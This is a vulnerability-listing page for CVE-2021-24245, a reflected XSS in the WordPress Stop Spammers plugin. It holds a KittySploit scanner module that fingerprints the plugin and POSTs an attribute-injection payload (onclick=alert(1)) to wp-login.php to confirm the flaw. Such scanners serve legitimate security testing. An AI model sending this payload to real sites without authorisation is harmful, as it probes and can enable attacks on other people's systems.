WordPress Stop Spammers <2021.9 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| WordPress Stop Spammers 2021.8 Plugin - (log) Reflected Cross-site Scripting Vulnerability | 19 May 202100:00 | – | zdt | |
| CVE-2021-24245 | 6 May 202113:15 | – | attackerkb | |
| CVE-2021-24245 | 19 May 202110:05 | – | circl | |
| WordPress 跨站脚本漏洞 | 6 May 202100:00 | – | cnnvd | |
| WordPress Stop Spammers Plugin Cross Site Scripting (CVE-2021-24245) | 1 Jun 202100:00 | – | checkpoint_advisories | |
| CVE-2021-24245 | 5 May 202118:39 | – | cve | |
| CVE-2021-24245 Stop Spammers < 2021.9 - Reflected Cross-Site Scripting (XSS) | 5 May 202118:39 | – | cvelist | |
| WordPress Plugin Stop Spammers 2021.8 - 'log' Reflected Cross-site Scripting (XSS) | 19 May 202100:00 | – | exploitdb | |
| WordPress Stop Spammers <2021.9 - Cross-Site Scripting | 14 Oct 202602:05 | – | nuclei | |
| CVE-2021-24245 | 6 May 202113:15 | – | nvd |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""WordPress Stop Spammers plugin before 2021."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'WordPress Stop Spammers <2021.9 - Cross-Site Scripting Detection',
'description': 'WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve2021', 'cve', 'wpscan', 'wordpress', 'xss', 'wp-plugin', 'packetstorm', 'trumani', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html',
'https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735',
'https://nvd.nist.gov/vuln/detail/CVE-2021-24245',
'http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html',
'https://github.com/ARPSyndicate/cvemon',
],
'cve': 'CVE-2021-24245',
}
def run(self):
path = '/wp-content/plugins/stop-spammer-registrations-plugin/readme.txt'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('Stop Spammers Spam Prevention', 'Tags:',)
if not (all(m in body for m in body_all)):
return False
path = '/wp-login.php'
r = self.http_request(method='POST', path=path, allow_redirects=False, headers={'Content-Type': 'application/x-www-form-urlencoded', 'Cookie': 'wordpress_test_cookie=WP+Cookie+check;'}, data='log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1\n')
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_any = ('ad" accesskey=X onclick=alert(1)',)
header_any = ('text/html',)
if (any(m in body for m in body_any)) and (any(m in headers for m in header_any)):
self.set_info(severity='medium', reason='WordPress Stop Spammers <2021.9 - Cross-Site Scripting detected', path=path)
return True
return False
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